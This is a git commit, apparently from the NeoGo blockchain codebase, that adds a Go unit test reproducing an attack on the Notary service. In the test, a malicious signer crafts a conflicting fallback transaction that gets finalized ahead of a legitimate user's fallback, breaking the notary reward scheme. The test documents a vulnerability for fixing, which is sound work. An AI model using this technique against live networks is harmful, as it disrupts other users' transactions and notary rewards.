notary: add an example of attack on notary service

This commit is contained in:
Anna Shaleva 2023-07-19 19:22:33 +03:00
parent 133082ed58
commit c49dba2db0

View file

@ -3,6 +3,7 @@ package notary_test
import (
"errors"
"fmt"
"math"
"math/big"
"math/rand"
"sync"
@ -747,3 +748,146 @@ func TestNotary(t *testing.T) {
}, 3*time.Second, 100*time.Millisecond)
checkFallbackTxs(t, requests, false)
}
func TestNotaryAttack_Case2(t *testing.T) {
bc, validators, committee := chain.NewMultiWithCustomConfig(t, func(c *config.Blockchain) { c.P2PSigExtensions = true })
e := neotest.NewExecutor(t, bc, validators, committee)
notaryHash := e.NativeHash(t, nativenames.Notary)
designationSuperInvoker := e.NewInvoker(e.NativeHash(t, nativenames.Designation), validators, committee)
var maliciousFallbackFinilized *transaction.Transaction
onTransaction := func(tx *transaction.Transaction) error {
fmt.Printf("\n\n\nMalicious fallback %s sent to chain!\n\n\n", tx.Hash().StringLE())
maliciousFallbackFinilized = tx
return nil
}
// Start notary service.
acc1, ntr1, mp1 := getTestNotary(t, bc, "./testdata/notary1.json", "one", onTransaction)
bc.SetNotary(ntr1)
bc.RegisterPostBlock(func(f func(*transaction.Transaction, *mempool.Pool, bool) bool, pool *mempool.Pool, b *block.Block) {
ntr1.PostPersist()
})
mp1.RunSubscriptions()
ntr1.Start()
t.Cleanup(func() {
ntr1.Shutdown()
mp1.StopSubscriptions()
})
// Designate notary node.
notaryNodes := []any{acc1.PublicKey().Bytes()}
designationSuperInvoker.Invoke(t, stackitem.Null{}, "designateAsRole", int64(noderoles.P2PNotary), notaryNodes)
// Good signer is just a good signer trying to send notary request; bad signer is
// malicious and tries to ruin the notary nodes reward for the good signer's request.
goodSigner := e.NewAccount(t)
badSigner := e.NewAccount(t)
// Make notary deposit.
gasGoodInv := e.NewInvoker(e.NativeHash(t, nativenames.Gas), goodSigner)
gasBadInv := e.NewInvoker(e.NativeHash(t, nativenames.Gas), badSigner)
gasGoodInv.Invoke(t, true, "transfer", goodSigner.ScriptHash(), notaryHash, 3_0000_0000, []interface{}{goodSigner.ScriptHash(), math.MaxUint32})
gasBadInv.Invoke(t, true, "transfer", badSigner.ScriptHash(), notaryHash, 3_0000_0000, []interface{}{badSigner.ScriptHash(), math.MaxUint32})
// Create good notary request.
mainTx := &transaction.Transaction{
Nonce: rand.Uint32(),
SystemFee: 1_0000_0000,
NetworkFee: 1_0000_0000,
ValidUntilBlock: bc.BlockHeight() + 100,
Script: []byte{byte(opcode.RET)},
Attributes: []transaction.Attribute{{Type: transaction.NotaryAssistedT, Value: &transaction.NotaryAssisted{NKeys: 1}}},
Signers: []transaction.Signer{
{Account: goodSigner.ScriptHash()},
{Account: notaryHash},
},
Scripts: []transaction.Witness{
{
InvocationScript: []byte{}, // Pretend it will be filled later to simplify the test.
VerificationScript: goodSigner.Script(),
},
{
InvocationScript: append([]byte{byte(opcode.PUSHDATA1), keys.SignatureLen}, make([]byte, 64)...),
VerificationScript: []byte{},
},
},
}
fallbackTx := &transaction.Transaction{
Nonce: rand.Uint32(),
SystemFee: 1_0000_0000,
NetworkFee: 1_0000_0000,
ValidUntilBlock: bc.BlockHeight() + 100,
Script: []byte{byte(opcode.RET)},
Attributes: []transaction.Attribute{
{Type: transaction.NotaryAssistedT, Value: &transaction.NotaryAssisted{NKeys: 0}},
{Type: transaction.NotValidBeforeT, Value: &transaction.NotValidBefore{Height: bc.BlockHeight() + 50}},
{Type: transaction.ConflictsT, Value: &transaction.Conflicts{Hash: mainTx.Hash()}},
},
Signers: []transaction.Signer{
{Account: notaryHash},
{Account: goodSigner.ScriptHash()},
},
Scripts: []transaction.Witness{
{
InvocationScript: append([]byte{byte(opcode.PUSHDATA1), keys.SignatureLen}, make([]byte, 64)...),
VerificationScript: []byte{},
},
},
}
require.NoError(t, goodSigner.SignTx(netmode.UnitTestNet, fallbackTx))
goodReq := &payload.P2PNotaryRequest{
MainTransaction: mainTx,
FallbackTransaction: fallbackTx,
}
goodReq.Witness = transaction.Witness{
InvocationScript: append([]byte{byte(opcode.PUSHDATA1), keys.SignatureLen}, goodSigner.SignHashable(uint32(netmode.UnitTestNet), goodReq)...),
VerificationScript: goodSigner.Script(),
}
// Create malicious notary request. Its main transaction is `fallbackTx`,
// and although its main transaction isn't valid, the fallback will be successfully
// finalized and pushed to the chain, which will prevent the good `fallbackTx` from
// entering the chain and break Notary nodes reward scheme.
cp := *fallbackTx
mainBad := &cp
fallbackBad := &transaction.Transaction{
Nonce: rand.Uint32(),
SystemFee: 1_0000_0000,
NetworkFee: 1_0000_0000 + 1,
ValidUntilBlock: bc.BlockHeight() + 100,
Script: []byte{byte(opcode.RET)},
Attributes: []transaction.Attribute{
{Type: transaction.NotaryAssistedT, Value: &transaction.NotaryAssisted{NKeys: 0}},
{Type: transaction.NotValidBeforeT, Value: &transaction.NotValidBefore{Height: bc.BlockHeight() + 1}},
{Type: transaction.ConflictsT, Value: &transaction.Conflicts{Hash: mainBad.Hash()}},
},
Signers: []transaction.Signer{
{Account: notaryHash},
{Account: badSigner.ScriptHash()},
},
Scripts: []transaction.Witness{
{
InvocationScript: append([]byte{byte(opcode.PUSHDATA1), keys.SignatureLen}, make([]byte, 64)...),
VerificationScript: []byte{},
},
},
}
require.NoError(t, badSigner.SignTx(netmode.UnitTestNet, fallbackBad))
badReq := &payload.P2PNotaryRequest{
MainTransaction: mainBad,
FallbackTransaction: fallbackBad,
}
badReq.Witness = transaction.Witness{
InvocationScript: append([]byte{byte(opcode.PUSHDATA1), keys.SignatureLen}, badSigner.SignHashable(uint32(netmode.UnitTestNet), badReq)...),
VerificationScript: badSigner.Script(),
}
ntr1.OnNewRequest(goodReq)
ntr1.OnNewRequest(badReq)
e.AddNewBlock(t)
e.AddNewBlock(t)
require.NotNil(t, maliciousFallbackFinilized)
e.AddNewBlock(t, maliciousFallbackFinilized)
}